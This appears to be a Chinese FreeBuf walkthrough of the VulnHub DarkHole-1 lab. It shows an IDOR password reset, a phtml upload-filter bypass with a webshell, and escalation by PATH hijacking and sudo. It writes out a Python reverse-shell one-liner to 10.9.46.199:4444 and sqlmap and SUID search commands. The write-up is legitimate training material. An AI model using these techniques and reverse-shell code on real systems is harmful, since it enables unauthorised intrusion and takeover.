freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

VulnHub靶机之DarkHole-1
2023-06-26 21:25:11
所属地 北京

一 信息收集

1.nmap扫描

快速扫描

1687784710_64998d06bd4185f5dcd68.jpg!small?1687784710026

1687784718_64998d0e2cf3843129d83.jpg!small?1687784717446

1687784729_64998d19d985f81e0986f.jpg!small?1687784729459

深度扫描

1687784765_64998d3d8cb8246a6e6fb.jpg!small?1687784764844

1687784772_64998d44de2faf247b659.jpg!small?1687784772560

从nmap深度扫描中,我们知道80端口(http)开启,22(ssh)端口开启,服务器版本Apache2.4.41 ,系统为ubantu,内核为Linux

2.敏感目录扫描

1687784789_64998d55a419400050e33.jpg!small?1687784789288

1687784799_64998d5f3fc39b45a6835.jpg!small?1687784798611

扫描的目录不多,我们尽量都看看

1687784823_64998d77b1cc86239adab.jpg!small?16877848230751687784813_64998d6d245ccf3890429.jpg!small?1687784812525

1687784858_64998d9ae4d9bf44c9085.jpg!small?1687784858217


1687784879_64998daf342805820585f.jpg!small?1687784878577

1687784886_64998db6e7cfb412f1c04.jpg!small?1687784886407

3 查看网页源码

1687784913_64998dd1bd2d657d13372.png!small?1687784915040


通过主页的源代码可以看出,这个主页只有一个外链就是登陆功能。

1687784930_64998de2d210524e21150.jpg!small?1687784930231

1687784943_64998def571e31e705e2e.jpg!small?1687784943014

4.sqlmap注入测试

python sqlmap.py -r C:\Users\xlem0\Desktop\request.txt -p username,password --dbs --tamper=space2comment

在登陆界面,尝试进行简单的sqlmap测试发现似乎没有注入点,这里就暂且不继续对登陆也进行SQL注入测试了。

二 威胁建模

因为只开放了两个端口,所以首先从web端入手。根据测试靶机网站并没有robots.txt,因此只能通过访问主站来进行测试。

这里发现当进入页面后,有admin用户存在,我们猜测系统里存在admin用户。

而admin通常是管理员用户,这样我们的目标就比较明确了,看看能否通过普通用户来获取到admin管理员用户权限,我们先随便注册一个用户登录网站。

观察到有注册用户的选项,尝试进行注册用户,看看登陆后有没有类似于越权之类的漏洞。

1687785008_64998e30a71ed56531a6a.jpg!small?1687785008671

我们注意到当注册成普通用户,登录页面上方有id号显示,那尝试修改id号,看能不能变成admin用户登录

使用burp抓包,修改id

在这里我们首先选择了抓修改密码这个包,因为我们虽然知道了用户的账号(admin),但是不知道邮箱,而修改密码这边只有一个变量,我们只需要修改密码或id就可以了

修改全部的id(直接以admin用户登录)

1687785022_64998e3e02b0cd31c5a6f.jpg!small?1687785021555

我们发现密码后跟着id号,我们猜测它是根据id号来对应密码,我们尝试修改以下id号,发现在repeater模块显示:密码修改成功,我们在proxy模块修改id号后,放包,这里修改完id提交之后显示密码更新成功的提示,我们来尝试登陆一下看看是不是改掉了admin的密码。

1687785044_64998e5439f0f8d19bf26.jpg!small?1687785043825

成功登录

登陆成功,也就是说这里确实存在着越权漏洞,可以利用普通用户来修改admin用户的密码。登陆到admin账户之后发现页面多了一个文件上传的功能,随便上传了一个txt文件发现上传成功了没有拦截,那我们来试试上传一个一句话木马看看能否成功得到shell。

1687785064_64998e68bfaffbce44f0b.png!small?1687785064036

我们发现有文件上传功能,我们先上传一个普通文件,观察它是否有过滤,能不能在页面源码显示上传路径

我们上传了一张png图片,发现上传成功,且有路径,路径正常

1687785088_64998e806daac71c09b9f.jpg!small?1687785090671

我们可以上传一句话木马(以png格式)

1687785130_64998eaa956a396cea92e.jpg!small?1687785130115

1687785137_64998eb11add426998039.png!small?1687785136371

1687785193_64998ee942368aa0f13b2.png!small?16877851925531687785156_64998ec47629af21ccb4b.png!small?1687785155758


使用多种格式无果后,使用资源共享,发现发现phtml可以正确的解析,所以当我们发现绕过之后的文件不能正确解析的时候要多尝试一下其他的后缀,这样才能确保万无一失。

我们可以上传一句话木马,利用蚁剑进行连接


1687785212_64998efcb6ba0618b13cf.jpg!small?16877852128961687785222_64998f0699c03cb855cea.jpg!small?1687785222055

1687785232_64998f106ef6f7725e9a9.jpg!small?1687785231736

也可以利用php代码直接建立反弹shell

1687785250_64998f22627a6a94df540.jpg!small?1687785250168

1687785277_64998f3d87226f145e164.jpg!small?1687785277380

三 渗透测试

1.查询用户信息

1687785291_64998f4b80fa6fbcd89ef.jpg!small?1687785291099

1687785299_64998f5396f765b408329.jpg!small?1687785299138

2.查询系统内核

1687785314_64998f6227011e699a98c.jpg!small?1687785313330

3.特殊权限

1687785325_64998f6d429e924fc6c79.jpg!small?1687785324681

看来www-date用户没有特殊权限

4 suid权限

查看SUID程序:find / -perm -u=s -type f 2>/dev/null

1687785348_64998f845de8c114c6524.jpg!small?1687785347735

根据查询结果,虽然有特殊文件,但是目前看不出什么具体信息。

5.查询敏感文件

1687785359_64998f8fbcd6639f2c2e6.jpg!small?1687785359167

1687785369_64998f994a5903f21b38c.jpg!small?1687785369235

1687785381_64998fa5331011f3b3f73.jpg!small?1687785380366

1687785392_64998fb0b888c1df94a0e.jpg!small?1687785391929

1687785404_64998fbc4a88b67a78124.jpg!small?1687785403543

1687785413_64998fc57c09a09c7ea39.jpg!small?1687785414051

从上述情况看来,我们需要提权,至少需要提到普通用户权限,正好我们看到toto文件的权限

1687785428_64998fd42534cf725d26e.jpg!small?1687785427464

说明其他用户可以执行这个文件,而且是以root用户的权限去执行这个文件。因此这里我们就可以利用toto来将www-data用户提权到john用户(根据/etc/passwd可以回到1001是john用户的uid)。

提权

在/tmp目录下创建一个伪造的id文件,并将shell命令写入,确保执行的时候会反弹shell

echo "/bin/bash -ip" > id

将id文件加入执行权限

chmod +x id `

将/tmp目录加入到环境变量的开头,这样当执行id命令的时候才会首先选择/tmp目录下的id命令文件

export PATH=/tmp:$PATH

执行toto

/home/john/toto

1687785450_64998fea5f4147fe84436.jpg!small?1687785449871

1687785458_64998ff2202d62184a9de.jpg!small?1687785457777

1687785469_64998ffd86d6690348c12.jpg!small?1687785469011

1687785485_6499900d6eebbe576c777.jpg!small?1687785485491

1687785500_6499901c029839ff9665c.png!small?1687785499165

通过hydra暴力破解,发现darkhole,john的ssh账号密码都为root123

6.提权

john用户提权

1687785530_6499903a8ab0c96644607.jpg!small?1687785529885

我们发现john能利用root权限来执行一个python脚本,虽然权限少但是足以提权到root权限了。我们将反弹shell的命令写入到file.py中

import os,pty,socket;s=socket.socket();s.connect(("10.9.46.199",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")

1687785540_6499904473cc9f79cdf4d.jpg!small?1687785539901

1687785548_6499904c5e86a7f474c3f.jpg!small?1687785548106

1687785557_64999055a47937cfb27cb.jpg!small?1687785557152

注意:利用python脚本的路径(sudo -l)已提供, /usr/bin/python3 /home/john/file.py,我们只需要在tmp目录下执行即可

sudo /usr/bin/python3 /home/john/file.py

darkhole提权

1687785567_6499905f80b35443957a8.jpg!small?1687785567078

方法1

1687785575_6499906736da0410ce8e7.jpg!small?1687785574605

方法2

1687785581_6499906dae2a52aa2add4.jpg!small?1687785580904

总结

思路:

我们通过bp抓包,修改id值,以普通用户越权拿到admin权限,利用文件上传漏洞进入服务器,通过服务器里的敏感文件(toto)转换到正常用户,通过sudo方式提权

手段:

1.链接访问内容(我们不管通过链接访问txt文件,还是jpg等图片文件,首先到其目录下,再看文件,这样有利于发现敏感信息)

2.熟练使用find命令,它是可以找文件的(find / -name 文件名)

3.提权方式(sudo)

难点:1.有敏感性,但敏感性不高(看到页面,我们可以猜到用户名,但不知道密码也在页面的某个信息里)

2.经验太少,不知道首先到其目录下,再看文件.(上述)

3.知道使用sudo提权(之前遇到过此类情况),但是不知道具体怎么做(使用资源共享)

收获:1.敏感性(1.这个靶机提供给我们的信息,登录页面我们一进去,有admin的用户,我们就应该猜到该网站页面有admin用户,2.登录的时候网站链接上面有id号,我们就应该猜测是否能通过修改id号修改用户权限(越权))

2.思路(拓宽了思路,知道有这样一种套路,具体流程,待总结)

思路总结:

1.因为只开放了两个端口,所以首先从web端入手。根据测试靶机网站并没有robots.txt,因此只能通过访问主站来进行测试。

2.通过主页的源代码可以看出,这个主页只有一个外链就是登陆功能。观察到有注册用户的选项,尝试进行注册用户,看看登陆后有没有类似于越权之类的漏洞。

3.而admin通常是管理员用户,这样我们的目标就比较明确了,看看能否通过普通用户来获取到admin管理员用户权限,我们先随便注册一个用户登录网站。

3.手段:我们可以用一句话木马(文件包含漏洞),利用蚁剑连接,也可以利用反弹shell,与服务器建立连接。

遇见登录页面,不仅只有爆破一种手段,还有burp抓包分析,还有页面框架漏洞分析(searchsploit,msf)

一句话木马并没有上传成功,可见还是有拦截的,根据之前上传成功了txt文档这里判断应该只是简单的文件后缀名拦截,

我们来尝试绕过。

Php|php2|php3|php4|php5|php6|php7|pht|phtm|phtml

显示了源代码内容,因此并不能正确解析,也就是说大小写虽然成功的绕过了但是并不能被靶机解析,我们再来尝试一 其他的绕过。

发现phtml可以正确的解析,所以当我们发现绕过之后的文件不能正确解析的时候要多尝试一下其他的后缀,这样才能确保万无 一失。

找查带有suid或者sgid的文件,发现/home/john/toto 这个文件比较可以,而且这个文件其他用户都可以执行。

我们可以来分析一下这个文件的功能,通过scp将toto复制到本地简单逆向一下。


# 渗透测试 # web安全 # 系统安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录